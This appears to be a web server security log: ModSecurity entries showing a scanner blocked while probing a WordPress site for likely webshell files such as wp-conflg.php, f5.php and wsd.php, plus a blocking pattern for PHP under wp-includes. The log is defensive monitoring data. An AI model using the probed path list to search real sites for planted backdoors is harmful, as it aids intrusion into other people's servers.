[Mon Feb 09 00:53:39.032748 2026] [:error] [pid 6723:tid 6790] [client 20.69.252.116:34481] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aYi_kzkiu6gHwS33P0qTfQAAA0U"]
[Mon Feb 09 00:53:39.456022 2026] [:error] [pid 9422:tid 9429] [client 20.69.252.116:48716] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aYi_k69DqDJC68qBbyxFxwAAAYQ"]
[Mon Feb 09 00:53:39.863780 2026] [:error] [pid 43900:tid 43914] [client 20.69.252.116:48709] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aYi_k-Wrhnpm_Csk3knKOAAAAUs"]
[Mon Feb 09 00:53:40.281150 2026] [:error] [pid 6723:tid 6802] [client 20.69.252.116:33814] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aYi_lDkiu6gHwS33P0qTgwAAA1E"]
[Mon Feb 09 00:53:40.680772 2026] [:error] [pid 9422:tid 9437] [client 20.69.252.116:34550] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aYi_lK9DqDJC68qBbyxFyQAAAYw"]
[Mon Feb 09 00:53:41.092015 2026] [:error] [pid 43900:tid 43911] [client 20.69.252.116:34435] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aYi_leWrhnpm_Csk3knKOQAAAUg"]
[Mon Feb 09 00:53:41.538734 2026] [:error] [pid 6663:tid 6694] [client 20.69.252.116:33095] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aYi_lWGI3uHqWdeZM76hAgAAAoE"]
[Mon Feb 09 00:53:41.943347 2026] [:error] [pid 24423:tid 24496] [client 20.69.252.116:33809] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aYi_lU3f9n1Y0TpV5YaJ3AAAAIs"]
[Mon Feb 09 00:53:42.355990 2026] [:error] [pid 24530:tid 24543] [client 20.69.252.116:33829] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aYi_lkazNRCs1GRWrh47_wAAAMs"]
[Mon Feb 09 00:53:42.797175 2026] [:error] [pid 24423:tid 24504] [client 20.69.252.116:33871] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aYi_lk3f9n1Y0TpV5YaJ3QAAAJM"]
[Mon Feb 09 00:53:43.213335 2026] [:error] [pid 6723:tid 6800] [client 20.69.252.116:33873] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aYi_lzkiu6gHwS33P0qThgAAA08"]
[Mon Feb 09 00:53:43.626257 2026] [:error] [pid 43900:tid 43904] [client 20.69.252.116:33870] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aYi_l-Wrhnpm_Csk3knKPAAAAUE"]
[Mon Feb 09 00:53:44.032619 2026] [:error] [pid 9422:tid 9442] [client 20.69.252.116:35169] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aYi_mK9DqDJC68qBbyxFzwAAAZE"]
[Mon Feb 09 00:53:44.436537 2026] [:error] [pid 9422:tid 9439] [client 20.69.252.116:34467] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aYi_mK9DqDJC68qBbyxF0QAAAY4"]
[Mon Feb 09 00:53:44.862832 2026] [:error] [pid 43900:tid 43918] [client 20.69.252.116:34462] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aYi_mOWrhnpm_Csk3knKPwAAAU8"]
[Mon Feb 09 00:53:45.311326 2026] [:error] [pid 24530:tid 24545] [client 20.69.252.116:34438] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aYi_mUazNRCs1GRWrh48AgAAAM0"]
[Mon Feb 09 00:53:45.802274 2026] [:error] [pid 43900:tid 43917] [client 20.69.252.116:33880] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aYi_meWrhnpm_Csk3knKQQAAAU4"]
[Mon Feb 09 00:53:46.207084 2026] [:error] [pid 43900:tid 43913] [client 20.69.252.116:33888] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aYi_muWrhnpm_Csk3knKQgAAAUo"]
[Mon Feb 09 00:53:46.642564 2026] [:error] [pid 24421:tid 24439] [client 20.69.252.116:34492] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aYi_mqp7cTzhX5M1IP9ZkQAAAAg"]
[Mon Feb 09 00:53:47.117355 2026] [:error] [pid 24421:tid 24441] [client 20.69.252.116:33816] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aYi_m6p7cTzhX5M1IP9ZkgAAAAo"]
[Mon Feb 09 00:53:47.553317 2026] [:error] [pid 9422:tid 9437] [client 20.69.252.116:34440] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aYi_m69DqDJC68qBbyxF1AAAAYw"]
[Mon Feb 09 00:53:48.022647 2026] [:error] [pid 6663:tid 6704] [client 20.69.252.116:33894] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aYi_nGGI3uHqWdeZM76hBwAAAos"]
[Mon Feb 09 00:53:48.472519 2026] [:error] [pid 6723:tid 6806] [client 20.69.252.116:34528] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aYi_nDkiu6gHwS33P0qTigAAA1U"]
[Mon Feb 09 00:53:49.005589 2026] [:error] [pid 24423:tid 24495] [client 20.69.252.116:34486] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aYi_nU3f9n1Y0TpV5YaJ4QAAAIo"]
[Mon Feb 09 00:53:49.417644 2026] [:error] [pid 9422:tid 9435] [client 20.69.252.116:33137] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aYi_na9DqDJC68qBbyxF1gAAAYo"]
[Mon Feb 09 00:53:49.859746 2026] [:error] [pid 6723:tid 6805] [client 20.69.252.116:33862] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aYi_nTkiu6gHwS33P0qTiwAAA1Q"]
[Mon Feb 09 00:53:50.290128 2026] [:error] [pid 6723:tid 6801] [client 20.69.252.116:33868] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aYi_njkiu6gHwS33P0qTjAAAA1A"]
[Mon Feb 09 00:53:50.730517 2026] [:error] [pid 24421:tid 24435] [client 20.69.252.116:35127] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aYi_nqp7cTzhX5M1IP9ZlAAAAAQ"]
[Mon Feb 09 00:53:51.198313 2026] [:error] [pid 43900:tid 43927] [client 20.69.252.116:33804] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aYi_n-Wrhnpm_Csk3knKSgAAAVg"]
[Mon Feb 09 00:53:51.650597 2026] [:error] [pid 6723:tid 6796] [client 20.69.252.116:33900] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aYi_nzkiu6gHwS33P0qTjwAAA0s"]
[Mon Feb 09 00:53:52.095375 2026] [:error] [pid 43900:tid 43909] [client 20.69.252.116:33915] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aYi_oOWrhnpm_Csk3knKTQAAAUY"]
[Mon Feb 09 00:53:52.513341 2026] [:error] [pid 24421:tid 24447] [client 20.69.252.116:34546] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aYi_oKp7cTzhX5M1IP9ZlwAAABA"]
[Mon Feb 09 00:53:52.991231 2026] [:error] [pid 6630:tid 6636] [client 20.69.252.116:34444] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aYi_oJ2jf0FBTEb_cWQR7gAAAgM"]
[Mon Feb 09 00:53:53.423905 2026] [:error] [pid 6662:tid 6687] [client 20.69.252.116:33911] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aYi_od-oEK1ut16KiNIdXQAAAlU"]
[Mon Feb 09 00:53:53.897480 2026] [:error] [pid 24421:tid 24454] [client 20.69.252.116:33807] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aYi_oap7cTzhX5M1IP9ZmQAAABc"]
[Mon Feb 09 00:53:54.324429 2026] [:error] [pid 43900:tid 43903] [client 20.69.252.116:33855] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aYi_ouWrhnpm_Csk3knKTgAAAUA"]
[Mon Feb 09 00:53:54.800414 2026] [:error] [pid 6723:tid 6797] [client 20.69.252.116:35126] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aYi_ojkiu6gHwS33P0qTkgAAA0w"]
[Mon Feb 09 00:53:55.313147 2026] [:error] [pid 6723:tid 6809] [client 20.69.252.116:33813] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aYi_ozkiu6gHwS33P0qTlAAAA1g"]
[Mon Feb 09 00:53:55.737513 2026] [:error] [pid 24421:tid 24451] [client 20.69.252.116:33908] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aYi_o6p7cTzhX5M1IP9ZngAAABQ"]
[Mon Feb 09 00:53:56.167189 2026] [:error] [pid 6630:tid 6646] [client 20.69.252.116:33110] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aYi_pJ2jf0FBTEb_cWQR8AAAAg0"]
[Mon Feb 09 00:53:56.598067 2026] [:error] [pid 43900:tid 43915] [client 20.69.252.116:33906] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aYi_pOWrhnpm_Csk3knKTwAAAUw"]
[Mon Feb 09 00:53:56.998971 2026] [:error] [pid 24423:tid 24507] [client 20.69.252.116:48682] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aYi_pE3f9n1Y0TpV5YaJ5gAAAJY"]
[Mon Feb 09 00:53:57.406189 2026] [:error] [pid 6630:tid 6648] [client 20.69.252.116:34448] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aYi_pZ2jf0FBTEb_cWQR8gAAAg8"]
[Mon Feb 09 00:53:57.823885 2026] [:error] [pid 6630:tid 6652] [client 20.69.252.116:48718] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aYi_pZ2jf0FBTEb_cWQR9AAAAhM"]
[Mon Feb 09 00:53:58.239337 2026] [:error] [pid 24423:tid 24509] [client 20.69.252.116:34451] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aYi_pk3f9n1Y0TpV5YaJ6AAAAJg"]
[Mon Feb 09 00:53:58.719445 2026] [:error] [pid 6663:tid 6705] [client 20.69.252.116:34539] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aYi_pmGI3uHqWdeZM76hDwAAAow"]
[Mon Feb 09 00:53:59.123522 2026] [:error] [pid 9422:tid 9440] [client 20.69.252.116:48700] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aYi_p69DqDJC68qBbyxF3AAAAY8"]
[Mon Feb 09 00:53:59.534681 2026] [:error] [pid 24421:tid 24435] [client 20.69.252.116:33831] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aYi_p6p7cTzhX5M1IP9ZogAAAAQ"]
[Mon Feb 09 00:53:59.933961 2026] [:error] [pid 9422:tid 9437] [client 20.69.252.116:34532] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aYi_p69DqDJC68qBbyxF3gAAAYw"]
[Mon Feb 09 00:54:00.365801 2026] [:error] [pid 24530:tid 24544] [client 20.69.252.116:34485] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aYi_qEazNRCs1GRWrh48DAAAAMw"]
[Mon Feb 09 00:54:00.776158 2026] [:error] [pid 43900:tid 43910] [client 20.69.252.116:33869] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aYi_qOWrhnpm_Csk3knKUQAAAUc"]
[Mon Feb 09 00:54:01.185232 2026] [:error] [pid 9482:tid 9548] [client 20.69.252.116:35115] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aYi_qcTkGH_puEFp5zPR8wAAA8k"]
[Mon Feb 09 00:54:01.586584 2026] [:error] [pid 43900:tid 43927] [client 20.69.252.116:33866] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aYi_qeWrhnpm_Csk3knKUgAAAVg"]
[Mon Feb 09 00:54:02.012948 2026] [:error] [pid 6630:tid 6637] [client 20.69.252.116:33825] [client 20.69.252.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aYi_qp2jf0FBTEb_cWQR9gAAAgQ"]
[Mon Feb 09 00:54:02.421944 2026] [:error] [pid 6723:tid 6804] [client 20.69.252.116:33891] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aYi_qjkiu6gHwS33P0qTnQAAA1M"]
